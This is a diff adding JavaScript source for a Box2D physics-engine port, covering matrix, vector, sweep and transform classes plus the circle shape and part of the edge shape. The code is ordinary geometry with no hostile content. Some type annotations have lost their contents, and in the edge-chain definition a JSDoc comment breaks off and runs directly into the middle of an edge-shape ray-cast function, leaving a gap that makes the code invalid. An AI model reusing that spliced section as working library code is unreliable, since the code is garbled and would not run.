+ var s = Math.sin(angle);
+ this.col1.Set(c, s);
+ this.col2.Set(-s, c);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} c1
+ * @param {!Box2D.Common.Math.b2Vec2} c2
+ */
+Box2D.Common.Math.b2Mat22.prototype.SetVV = function(c1, c2) {
+ this.col1.SetV(c1);
+ this.col2.SetV(c2);
+};
+/**
+ * @return {!Box2D.Common.Math.b2Mat22}
+ */
+Box2D.Common.Math.b2Mat22.prototype.Copy = function() {
+ var mat = new Box2D.Common.Math.b2Mat22();
+ mat.SetM(this);
+ return mat;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat22} m
+ */
+Box2D.Common.Math.b2Mat22.prototype.SetM = function(m) {
+ this.col1.SetV(m.col1);
+ this.col2.SetV(m.col2);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat22} m
+ */
+Box2D.Common.Math.b2Mat22.prototype.AddM = function(m) {
+ this.col1.Add(m.col1);
+ this.col2.Add(m.col2);
+};
+Box2D.Common.Math.b2Mat22.prototype.SetIdentity = function() {
+ this.col1.Set(1, 0);
+ this.col2.Set(0, 1);
+};
+Box2D.Common.Math.b2Mat22.prototype.SetZero = function() {
+ this.col1.Set(0, 0);
+ this.col2.Set(0, 0);
+};
+/**
+ * @return {number}
+ */
+Box2D.Common.Math.b2Mat22.prototype.GetAngle = function() {
+ return Math.atan2(this.col1.y, this.col1.x);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat22} out
+ * @return {!Box2D.Common.Math.b2Mat22}
+ */
+Box2D.Common.Math.b2Mat22.prototype.GetInverse = function(out) {
+ var det = this.col1.x * this.col2.y - this.col2.x * this.col1.y;
+ if (det !== 0) {
+ det = 1 / det;
+ }
+ out.col1.x = det * this.col2.y;
+ out.col2.x = -det * this.col2.x;
+ out.col1.y = -det * this.col1.y;
+ out.col2.y = det * this.col1.x;
+ return out;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} out
+ * @param {number} bX
+ * @param {number} bY
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Mat22.prototype.Solve = function(out, bX, bY) {
+ var det = this.col1.x * this.col2.y - this.col2.x * this.col1.y;
+ if (det !== 0) {
+ det = 1 / det;
+ }
+ out.x = det * (this.col2.y * bX - this.col2.x * bY);
+ out.y = det * (this.col1.x * bY - this.col1.y * bX);
+ return out;
+};
+Box2D.Common.Math.b2Mat22.prototype.Abs = function() {
+ this.col1.Abs();
+ this.col2.Abs();
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec3=} c1
+ * @param {!Box2D.Common.Math.b2Vec3=} c2
+ * @param {!Box2D.Common.Math.b2Vec3=} c3
+ * @constructor
+ */
+Box2D.Common.Math.b2Mat33 = function(c1, c2, c3) {
+ this.col1 = new Box2D.Common.Math.b2Vec3(0, 0, 0);
+ this.col2 = new Box2D.Common.Math.b2Vec3(0, 0, 0);
+ this.col3 = new Box2D.Common.Math.b2Vec3(0, 0, 0);
+ if (c1) {
+ this.col1.SetV(c1);
+ }
+ if (c2) {
+ this.col2.SetV(c2);
+ }
+ if (c3) {
+ this.col3.SetV(c3);
+ }
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec3} c1
+ * @param {!Box2D.Common.Math.b2Vec3} c2
+ * @param {!Box2D.Common.Math.b2Vec3} c3
+ */
+Box2D.Common.Math.b2Mat33.prototype.SetVVV = function(c1, c2, c3) {
+ this.col1.SetV(c1);
+ this.col2.SetV(c2);
+ this.col3.SetV(c3);
+};
+/**
+ * @return {!Box2D.Common.Math.b2Mat33}
+ */
+Box2D.Common.Math.b2Mat33.prototype.Copy = function() {
+ return new Box2D.Common.Math.b2Mat33(this.col1, this.col2, this.col3);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat33} m
+ */
+Box2D.Common.Math.b2Mat33.prototype.SetM = function(m) {
+ this.col1.SetV(m.col1);
+ this.col2.SetV(m.col2);
+ this.col3.SetV(m.col3);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat33} m
+ */
+Box2D.Common.Math.b2Mat33.prototype.AddM = function(m) {
+ this.col1.x += m.col1.x;
+ this.col1.y += m.col1.y;
+ this.col1.z += m.col1.z;
+ this.col2.x += m.col2.x;
+ this.col2.y += m.col2.y;
+ this.col2.z += m.col2.z;
+ this.col3.x += m.col3.x;
+ this.col3.y += m.col3.y;
+ this.col3.z += m.col3.z;
+};
+Box2D.Common.Math.b2Mat33.prototype.SetIdentity = function() {
+ this.col1.Set(1,0,0);
+ this.col2.Set(0,1,0);
+ this.col3.Set(0,0,1);
+};
+Box2D.Common.Math.b2Mat33.prototype.SetZero = function() {
+ this.col1.Set(0,0,0);
+ this.col2.Set(0,0,0);
+ this.col3.Set(0,0,0);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} out
+ * @param {number} bX
+ * @param {number} bY
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Mat33.prototype.Solve22 = function(out, bX, bY) {
+ var a11 = this.col1.x;
+ var a12 = this.col2.x;
+ var a21 = this.col1.y;
+ var a22 = this.col2.y;
+ var det = a11 * a22 - a12 * a21;
+ if (det != 0.0) {
+ det = 1.0 / det;
+ }
+ out.x = det * (a22 * bX - a12 * bY);
+ out.y = det * (a11 * bY - a21 * bX);
+ return out;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec3} out
+ * @param {number} bX
+ * @param {number} bY
+ * @param {number} bZ
+ * @return {!Box2D.Common.Math.b2Vec3}
+ */
+Box2D.Common.Math.b2Mat33.prototype.Solve33 = function(out, bX, bY, bZ) {
+ var a11 = this.col1.x;
+ var a21 = this.col1.y;
+ var a31 = this.col1.z;
+ var a12 = this.col2.x;
+ var a22 = this.col2.y;
+ var a32 = this.col2.z;
+ var a13 = this.col3.x;
+ var a23 = this.col3.y;
+ var a33 = this.col3.z;
+ var det = a11 * (a22 * a33 - a32 * a23) + a21 * (a32 * a13 - a12 * a33) + a31 * (a12 * a23 - a22 * a13);
+ if (det != 0.0) {
+ det = 1.0 / det;
+ }
+ out.x = det * (bX * (a22 * a33 - a32 * a23) + bY * (a32 * a13 - a12 * a33) + bZ * (a12 * a23 - a22 * a13));
+ out.y = det * (a11 * (bY * a33 - bZ * a23) + a21 * (bZ * a13 - bX * a33) + a31 * (bX * a23 - bY * a13));
+ out.z = det * (a11 * (a22 * bZ - a32 * bY) + a21 * (a32 * bX - a12 * bZ) + a31 * (a12 * bY - a22 * bX));
+ return out;
+}
+/**
+ * @constructor
+ */
+Box2D.Common.Math.b2Sweep = function() {
+ this.localCenter = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.c0 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.c = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+Box2D.Common.Math.b2Sweep.prototype.Set = function(other) {
+ this.localCenter.SetV(other.localCenter);
+ this.c0.SetV(other.c0);
+ this.c.SetV(other.c);
+ this.a0 = other.a0;
+ this.a = other.a;
+ this.t0 = other.t0;
+};
+Box2D.Common.Math.b2Sweep.prototype.Copy = function() {
+ var copy = new Box2D.Common.Math.b2Sweep();
+ copy.localCenter.SetV(this.localCenter);
+ copy.c0.SetV(this.c0);
+ copy.c.SetV(this.c);
+ copy.a0 = this.a0;
+ copy.a = this.a;
+ copy.t0 = this.t0;
+ return copy;
+};
+Box2D.Common.Math.b2Sweep.prototype.GetTransform = function(xf, alpha) {
+ if (alpha === undefined) alpha = 0;
+ xf.position.x = (1.0 - alpha) * this.c0.x + alpha * this.c.x;
+ xf.position.y = (1.0 - alpha) * this.c0.y + alpha * this.c.y;
+ var angle = (1.0 - alpha) * this.a0 + alpha * this.a;
+ xf.R.Set(angle);
+ var tMat = xf.R;
+ xf.position.x -= (tMat.col1.x * this.localCenter.x + tMat.col2.x * this.localCenter.y);
+ xf.position.y -= (tMat.col1.y * this.localCenter.x + tMat.col2.y * this.localCenter.y);
+};
+Box2D.Common.Math.b2Sweep.prototype.Advance = function(t) {
+ if (t === undefined) t = 0;
+ if (this.t0 < t && 1.0 - this.t0 > Number.MIN_VALUE) {
+ var alpha = (t - this.t0) / (1.0 - this.t0);
+ this.c0.x = (1.0 - alpha) * this.c0.x + alpha * this.c.x;
+ this.c0.y = (1.0 - alpha) * this.c0.y + alpha * this.c.y;
+ this.a0 = (1.0 - alpha) * this.a0 + alpha * this.a;
+ this.t0 = t;
+ }
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2=} pos
+ * @param {!Box2D.Common.Math.b2Mat22=} r
+ * @constructor
+ */
+Box2D.Common.Math.b2Transform = function(pos, r) {
+ this.position = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.R = new Box2D.Common.Math.b2Mat22();
+ if (pos) {
+ this.position.SetV(pos);
+ }
+ if (r) {
+ this.R.SetM(r);
+ }
+};
+Box2D.Common.Math.b2Transform.prototype.Initialize = function(pos, r) {
+ this.position.SetV(pos);
+ this.R.SetM(r);
+};
+Box2D.Common.Math.b2Transform.prototype.SetIdentity = function() {
+ this.position.SetZero();
+ this.R.SetIdentity();
+};
+Box2D.Common.Math.b2Transform.prototype.Set = function(x) {
+ this.position.SetV(x.position);
+ this.R.SetM(x.R);
+};
+Box2D.Common.Math.b2Transform.prototype.GetAngle = function() {
+ return Math.atan2(this.R.col1.y, this.R.col1.x);
+};
+/**
+ * @private
+ * @param {number} x
+ * @param {number} y
+ * @constructor
+ */
+Box2D.Common.Math.b2Vec2 = function(x, y) {
+ this.x = x;
+ this.y = y;
+};
+/**
+ * @private
+ * @type {Array.}
+ */
+Box2D.Common.Math.b2Vec2._freeCache = [];
+/**
+ * @param {number} x
+ * @param {number} y
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Vec2.Get = function(x, y) {
+ if (Box2D.Common.Math.b2Vec2._freeCache.length > 0) {
+ var vec = Box2D.Common.Math.b2Vec2._freeCache.pop();
+ vec.Set(x, y);
+ return vec;
+ }
+ return new Box2D.Common.Math.b2Vec2(x, y);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} vec
+ */
+Box2D.Common.Math.b2Vec2.Free = function(vec) {
+ Box2D.Common.Math.b2Vec2._freeCache.push(vec);
+};
+Box2D.Common.Math.b2Vec2.prototype.SetZero = function() {
+ this.x = 0.0;
+ this.y = 0.0;
+};
+/**
+ * @param {number} x
+ * @param {number} y
+ */
+Box2D.Common.Math.b2Vec2.prototype.Set = function(x, y) {
+ this.x = x;
+ this.y = y;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} v
+ */
+Box2D.Common.Math.b2Vec2.prototype.SetV = function(v) {
+ this.x = v.x;
+ this.y = v.y;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Vec2.prototype.GetNegative = function() {
+ return Box2D.Common.Math.b2Vec2.Get((-this.x), (-this.y));
+};
+Box2D.Common.Math.b2Vec2.prototype.NegativeSelf = function() {
+ this.x = (-this.x);
+ this.y = (-this.y);
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Vec2.prototype.Copy = function() {
+ return Box2D.Common.Math.b2Vec2.Get(this.x, this.y);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} v
+ */
+Box2D.Common.Math.b2Vec2.prototype.Add = function(v) {
+ this.x += v.x;
+ this.y += v.y;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} v
+ */
+Box2D.Common.Math.b2Vec2.prototype.Subtract = function(v) {
+ this.x -= v.x;
+ this.y -= v.y;
+};
+/**
+ * @param {number} a
+ */
+Box2D.Common.Math.b2Vec2.prototype.Multiply = function(a) {
+ this.x *= a;
+ this.y *= a;
+};
+/**
+ * @param {Box2D.Common.Math.b2Mat22} A
+ */
+Box2D.Common.Math.b2Vec2.prototype.MulM = function(A) {
+ var tX = this.x;
+ this.x = A.col1.x * tX + A.col2.x * this.y;
+ this.y = A.col1.y * tX + A.col2.y * this.y;
+};
+/**
+ * @param {Box2D.Common.Math.b2Mat22} A
+ */
+Box2D.Common.Math.b2Vec2.prototype.MulTM = function(A) {
+ var tX = this.x * A.col1.x + this.y * A.col1.y;
+ this.y = this.x * A.col2.x + this.y * A.col2.y;
+ this.x = tX;
+};
+/**
+ * @param {number} s
+ */
+Box2D.Common.Math.b2Vec2.prototype.CrossVF = function(s) {
+ var tX = this.x;
+ this.x = s * this.y;
+ this.y = (-s * tX);
+};
+/**
+ * @param {number} s
+ */
+Box2D.Common.Math.b2Vec2.prototype.CrossFV = function(s) {
+ var tX = this.x;
+ this.x = (-s * this.y);
+ this.y = s * tX;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} b
+ */
+Box2D.Common.Math.b2Vec2.prototype.MinV = function(b) {
+ this.x = Math.min(this.x, b.x);
+ this.y = Math.min(this.y, b.y);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} b
+ */
+Box2D.Common.Math.b2Vec2.prototype.MaxV = function(b) {
+ this.x = Math.max(this.x, b.x);
+ this.y = Math.max(this.y, b.y);
+};
+Box2D.Common.Math.b2Vec2.prototype.Abs = function() {
+ this.x = Math.abs(this.x);
+ this.y = Math.abs(this.y);
+};
+/**
+ * @return {number}
+ */
+Box2D.Common.Math.b2Vec2.prototype.Length = function() {
+ return Math.sqrt(this.LengthSquared());
+};
+/**
+ * @return {number}
+ */
+Box2D.Common.Math.b2Vec2.prototype.LengthSquared = function() {
+ return (this.x * this.x + this.y * this.y);
+};
+/**
+ * @return {number}
+ */
+Box2D.Common.Math.b2Vec2.prototype.Normalize = function() {
+ var length = this.Length();
+ if (length < Number.MIN_VALUE) {
+ return 0.0;
+ }
+ var invLength = 1.0 / length;
+ this.x *= invLength;
+ this.y *= invLength;
+ return length;
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Common.Math.b2Vec2.prototype.IsValid = function () {
+ return isFinite(this.x) && isFinite(this.y);
+};
+/**
+ * @param {number} x
+ * @param {number} y
+ * @param {number} z
+ * @constructor
+ */
+Box2D.Common.Math.b2Vec3 = function(x, y, z) {
+ this.x = x;
+ this.y = y;
+ this.z = z;
+};
+Box2D.Common.Math.b2Vec3.prototype.SetZero = function() {
+ this.x = 0;
+ this.y = 0;
+ this.z = 0;
+};
+/**
+ * @param {number} x
+ * @param {number} y
+ * @param {number} z
+ */
+Box2D.Common.Math.b2Vec3.prototype.Set = function(x, y, z) {
+ this.x = x;
+ this.y = y;
+ this.z = z;
+}
+/**
+ * @param {!Box2D.Common.Math.b2Vec3} v
+ */
+Box2D.Common.Math.b2Vec3.prototype.SetV = function(v) {
+ this.x = v.x;
+ this.y = v.y;
+ this.z = v.z;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec3}
+ */
+Box2D.Common.Math.b2Vec3.prototype.GetNegative = function() {
+ return new Box2D.Common.Math.b2Vec3((-this.x), (-this.y), (-this.z));
+};
+Box2D.Common.Math.b2Vec3.prototype.NegativeSelf = function() {
+ this.x = (-this.x);
+ this.y = (-this.y);
+ this.z = (-this.z);
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec3}
+ */
+Box2D.Common.Math.b2Vec3.prototype.Copy = function() {
+ return new Box2D.Common.Math.b2Vec3(this.x, this.y, this.z);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec3} v
+ */
+Box2D.Common.Math.b2Vec3.prototype.Add = function(v) {
+ this.x += v.x;
+ this.y += v.y;
+ this.z += v.z;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec3} v
+ */
+Box2D.Common.Math.b2Vec3.prototype.Subtract = function(v) {
+ this.x -= v.x;
+ this.y -= v.y;
+ this.z -= v.z;
+};
+/**
+ * @param {number} a
+ */
+Box2D.Common.Math.b2Vec3.prototype.Multiply = function(a) {
+ this.x *= a;
+ this.y *= a;
+ this.z *= a;
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.Shapes.b2Shape = function() {
+ this.m_radius = Box2D.Common.b2Settings.b2_linearSlop;
+};
+/**
+ * @return {string}
+ */
+Box2D.Collision.Shapes.b2Shape.prototype.GetTypeName = function(){};
+/**
+ * @return {!Box2D.Collision.Shapes.b2Shape}
+ */
+Box2D.Collision.Shapes.b2Shape.prototype.Copy = function(){};
+/**
+ * @param {!Box2D.Collision.Shapes.b2Shape} other
+ */
+Box2D.Collision.Shapes.b2Shape.prototype.Set = function(other) {
+ this.m_radius = other.m_radius;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ * @param {!Box2D.Common.Math.b2Vec2} p
+ * @return {boolean}
+ */
+Box2D.Collision.Shapes.b2Shape.prototype.TestPoint = function(){};
+/**
+ * @param {!Box2D.Collision.b2RayCastOutput} output
+ * @param {!Box2D.Collision.b2RayCastInput} input
+ * @param {!Box2D.Common.Math.b2Transform} transform
+ * @return {boolean}
+ */
+Box2D.Collision.Shapes.b2Shape.prototype.RayCast = function(){};
+/**
+ * @param {!Box2D.Collision.b2AABB} aabb
+ * @param {!Box2D.Common.Math.b2Transform} transform
+ */
+Box2D.Collision.Shapes.b2Shape.prototype.ComputeAABB = function(){};
+/**
+ * @param {!Box2D.Collision.Shapes.b2MassData} massData
+ * @param {number} density
+ */
+Box2D.Collision.Shapes.b2Shape.prototype.ComputeMass = function(){};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} normal
+ * @param {number} offset
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ * @param {!Box2D.Common.Math.b2Vec2} c
+ * @return {number}
+ */
+Box2D.Collision.Shapes.b2Shape.prototype.ComputeSubmergedArea = function(){};
+/**
+ * @param {!Box2D.Collision.b2DistanceProxy} proxy
+ */
+Box2D.Collision.Shapes.b2Shape.prototype.SetDistanceProxy = function(){};
+/**
+ * @param {!Box2D.Collision.Shapes.b2Shape} shape1
+ * @param {!Box2D.Common.Math.b2Transform} transform1
+ * @param {!Box2D.Collision.Shapes.b2Shape} shape2
+ * @param {!Box2D.Common.Math.b2Transform} transform2
+ * @return {boolean}
+ */
+Box2D.Collision.Shapes.b2Shape.TestOverlap = function(shape1, transform1, shape2, transform2) {
+ var input = new Box2D.Collision.b2DistanceInput();
+ input.proxyA = new Box2D.Collision.b2DistanceProxy();
+ input.proxyA.Set(shape1);
+ input.proxyB = new Box2D.Collision.b2DistanceProxy();
+ input.proxyB.Set(shape2);
+ input.transformA = transform1;
+ input.transformB = transform2;
+ input.useRadii = true;
+ var simplexCache = new Box2D.Collision.b2SimplexCache();
+ simplexCache.count = 0;
+ var output = new Box2D.Collision.b2DistanceOutput();
+ Box2D.Collision.b2Distance.Distance(output, simplexCache, input);
+ return output.distance < 10.0 * Number.MIN_VALUE;
+};
+/**
+ * @const
+ * @type {number}
+ */
+Box2D.Collision.Shapes.b2Shape.e_startsInsideCollide = -1;
+/**
+ * @const
+ * @type {number}
+ */
+Box2D.Collision.Shapes.b2Shape.e_missCollide = 0;
+/**
+ * @const
+ * @type {number}
+ */
+Box2D.Collision.Shapes.b2Shape.e_hitCollide = 1;
+/**
+ * @param {number} radius
+ * @constructor
+ * @extends {Box2D.Collision.Shapes.b2Shape}
+ */
+Box2D.Collision.Shapes.b2CircleShape = function(radius) {
+ Box2D.Collision.Shapes.b2Shape.call(this);
+ /** @type {number} */
+ this.m_radius = radius;
+ /** @type {number} */
+ this.m_radiusSquared = radius * radius;
+ /** @type {!Box2D.Common.Math.b2Vec2} */
+ this.m_p = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+c2inherit(Box2D.Collision.Shapes.b2CircleShape, Box2D.Collision.Shapes.b2Shape);
+/**
+ * @return {string}
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.GetTypeName = function() {
+ return Box2D.Collision.Shapes.b2CircleShape.NAME;
+};
+/**
+ * @return {!Box2D.Collision.Shapes.b2CircleShape}
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.Copy = function() {
+ var s = new Box2D.Collision.Shapes.b2CircleShape(this.m_radius);
+ s.Set(this);
+ return s;
+};
+/**
+ * @param {!Box2D.Collision.Shapes.b2Shape} other
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.Set = function(other) {
+ Box2D.Collision.Shapes.b2Shape.prototype.Set.call(this, other);
+ if (other instanceof Box2D.Collision.Shapes.b2CircleShape) {
+ this.m_p.SetV(other.m_p);
+ }
+};
+/**
+ * @param {!Box2D.Common.Math.b2Transform} transform
+ * @param {!Box2D.Common.Math.b2Vec2} p
+ * @return {boolean}
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.TestPoint = function(transform, p) {
+ var tMat = transform.R;
+ var dX = p.x - (transform.position.x + (transform.R.col1.x * this.m_p.x + transform.R.col2.x * this.m_p.y));
+ var dY = p.y - (transform.position.y + (transform.R.col1.y * this.m_p.x + transform.R.col2.y * this.m_p.y));
+ return (dX * dX + dY * dY) <= this.m_radiusSquared;
+};
+/**
+ * @param {!Box2D.Collision.b2RayCastOutput} output
+ * @param {!Box2D.Collision.b2RayCastInput} input
+ * @param {!Box2D.Common.Math.b2Transform} transform
+ * @return {boolean}
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.RayCast = function(output, input, transform) {
+ var tMat = transform.R;
+ var positionX = transform.position.x + (tMat.col1.x * this.m_p.x + tMat.col2.x * this.m_p.y);
+ var positionY = transform.position.y + (tMat.col1.y * this.m_p.x + tMat.col2.y * this.m_p.y);
+ var sX = input.p1.x - positionX;
+ var sY = input.p1.y - positionY;
+ var b = (sX * sX + sY * sY) - this.m_radiusSquared;
+ var rX = input.p2.x - input.p1.x;
+ var rY = input.p2.y - input.p1.y;
+ var c = (sX * rX + sY * rY);
+ var rr = (rX * rX + rY * rY);
+ var sigma = c * c - rr * b;
+ if (sigma < 0.0 || rr < Number.MIN_VALUE) {
+ return false;
+ }
+ var a = (-(c + Math.sqrt(sigma)));
+ if (0.0 <= a && a <= input.maxFraction * rr) {
+ a /= rr;
+ output.fraction = a;
+ output.normal.x = sX + a * rX;
+ output.normal.y = sY + a * rY;
+ output.normal.Normalize();
+ return true;
+ }
+ return false;
+};
+/**
+ * @param {!Box2D.Collision.b2AABB} aabb
+ * @param {!Box2D.Common.Math.b2Transform} transform
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.ComputeAABB = function(aabb, transform) {
+ var tMat = transform.R;
+ var pX = transform.position.x + (tMat.col1.x * this.m_p.x + tMat.col2.x * this.m_p.y);
+ var pY = transform.position.y + (tMat.col1.y * this.m_p.x + tMat.col2.y * this.m_p.y);
+ aabb.lowerBound_.Set(pX - this.m_radius, pY - this.m_radius);
+ aabb.upperBound_.Set(pX + this.m_radius, pY + this.m_radius);
+};
+/**
+ * @param {!Box2D.Collision.Shapes.b2MassData} massData
+ * @param {number} density
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.ComputeMass = function(massData, density) {
+ massData.mass = density * Math.PI * this.m_radiusSquared;
+ massData.center.SetV(this.m_p);
+ massData.I = massData.mass * (0.5 * this.m_radiusSquared + (this.m_p.x * this.m_p.x + this.m_p.y * this.m_p.y));
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} normal
+ * @param {number} offset
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ * @param {!Box2D.Common.Math.b2Vec2} c
+ * @return {number}
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.ComputeSubmergedArea = function(normal, offset, xf, c) {
+ var p = Box2D.Common.Math.b2Math.MulX(xf, this.m_p);
+ var l = (-(Box2D.Common.Math.b2Math.Dot(normal, p) - offset));
+ if (l < (-this.m_radius) + Number.MIN_VALUE) {
+ return 0;
+ }
+ if (l > this.m_radius) {
+ c.SetV(p);
+ return Math.PI * this.m_radiusSquared;
+ }
+ var l2 = l * l;
+ var area = this.m_radiusSquared * (Math.asin(l / this.m_radius) + Math.PI / 2) + l * Math.sqrt(this.m_radiusSquared - l2);
+ var com = (-2 / 3 * Math.pow(this.m_radiusSquared - l2, 1.5) / area);
+ c.x = p.x + normal.x * com;
+ c.y = p.y + normal.y * com;
+ return area;
+};
+/**
+ * @param {!Box2D.Collision.b2DistanceProxy} proxy
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.SetDistanceProxy = function(proxy) {
+ proxy.m_vertices = [this.m_p];
+ proxy.m_count = 1;
+ proxy.m_radius = this.m_radius;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.GetLocalPosition = function() {
+ return this.m_p;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} position
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.SetLocalPosition = function(position) {
+ this.m_p.SetV(position);
+};
+/**
+ * @return {number}
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.GetRadius = function() {
+ return this.m_radius;
+};
+/**
+ * @param {number} radius
+ */
+Box2D.Collision.Shapes.b2CircleShape.prototype.SetRadius = function(radius) {
+ this.m_radius = radius;
+ this.m_radiusSquared = radius * radius;
+};
+/**
+ * @const
+ * @type {string}
+ */
+Box2D.Collision.Shapes.b2CircleShape.NAME = 'b2CircleShape';
+/**
+ * @constructor
+ */
+Box2D.Collision.Shapes.b2EdgeChainDef = function() {
+ /** @type {number} */
+ this.vertexCount = 0;
+ /** @type {boolean} */
+ this.isALoop = true;
+ /** @type {Array. k_slop) {
+ var bX = input.p1.x - v1X;
+ var bY = input.p1.y - v1Y;
+ var a = (bX * nX + bY * nY);
+ if (0.0 <= a && a <= input.maxFraction * denom) {
+ var mu2 = (-rX * bY) + rY * bX;
+ if ((-k_slop * denom) <= mu2 && mu2 <= denom * (1.0 + k_slop)) {
+ a /= denom;
+ output.fraction = a;
+ var nLen = Math.sqrt(nX * nX + nY * nY);
+ output.normal.x = nX / nLen;
+ output.normal.y = nY / nLen;
+ return true;
+ }
+ }
+ }
+ return false;
+};
+/**
+ * @param {!Box2D.Collision.b2AABB} aabb
+ * @param {!Box2D.Common.Math.b2Transform} transform
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.ComputeAABB = function(aabb, transform) {
+ var tMat = transform.R;
+ var v1X = transform.position.x + (tMat.col1.x * this.m_v1.x + tMat.col2.x * this.m_v1.y);
+ var v1Y = transform.position.y + (tMat.col1.y * this.m_v1.x + tMat.col2.y * this.m_v1.y);
+ var v2X = transform.position.x + (tMat.col1.x * this.m_v2.x + tMat.col2.x * this.m_v2.y);
+ var v2Y = transform.position.y + (tMat.col1.y * this.m_v2.x + tMat.col2.y * this.m_v2.y);
+ if (v1X < v2X) {
+ aabb.lowerBound_.x = v1X;
+ aabb.upperBound_.x = v2X;
+ } else {
+ aabb.lowerBound_.x = v2X;
+ aabb.upperBound_.x = v1X;
+ }
+ if (v1Y < v2Y) {
+ aabb.lowerBound_.y = v1Y;
+ aabb.upperBound_.y = v2Y;
+ } else {
+ aabb.lowerBound_.y = v2Y;
+ aabb.upperBound_.y = v1Y;
+ }
+};
+/**
+ * @param {!Box2D.Collision.Shapes.b2MassData} massData
+ * @param {number} density
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.ComputeMass = function(massData, density) {
+ massData.mass = 0;
+ massData.center.SetV(this.m_v1);
+ massData.I = 0;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} normal
+ * @param {number} offset
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ * @param {!Box2D.Common.Math.b2Vec2} c
+ * @return {number}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.ComputeSubmergedArea = function(normal, offset, xf, c) {
+ if (offset === undefined) offset = 0;
+ var v0 = Box2D.Common.Math.b2Vec2.Get(normal.x * offset, normal.y * offset);
+ var v1 = Box2D.Common.Math.b2Math.MulX(xf, this.m_v1);
+ var v2 = Box2D.Common.Math.b2Math.MulX(xf, this.m_v2);
+ var d1 = Box2D.Common.Math.b2Math.Dot(normal, v1) - offset;
+ var d2 = Box2D.Common.Math.b2Math.Dot(normal, v2) - offset;
+ if (d1 > 0) {
+ if (d2 > 0) {
+ return 0;
+ } else {
+ v1.x = (-d2 / (d1 - d2) * v1.x) + d1 / (d1 - d2) * v2.x;
+ v1.y = (-d2 / (d1 - d2) * v1.y) + d1 / (d1 - d2) * v2.y;
+ }
+ } else {
+ if (d2 > 0) {
+ v2.x = (-d2 / (d1 - d2) * v1.x) + d1 / (d1 - d2) * v2.x;
+ v2.y = (-d2 / (d1 - d2) * v1.y) + d1 / (d1 - d2) * v2.y;
+ }
+ }
+ c.x = (v0.x + v1.x + v2.x) / 3;
+ c.y = (v0.y + v1.y + v2.y) / 3;
+ return 0.5 * ((v1.x - v0.x) * (v2.y - v0.y) - (v1.y - v0.y) * (v2.x - v0.x));
+};
+/**
+ * @return {number}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetLength = function() {
+ return this.m_length;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetVertex1 = function() {
+ return this.m_v1;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetVertex2 = function() {
+ return this.m_v2;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetCoreVertex1 = function() {
+ return this.m_coreV1;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetCoreVertex2 = function() {
+ return this.m_coreV2;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
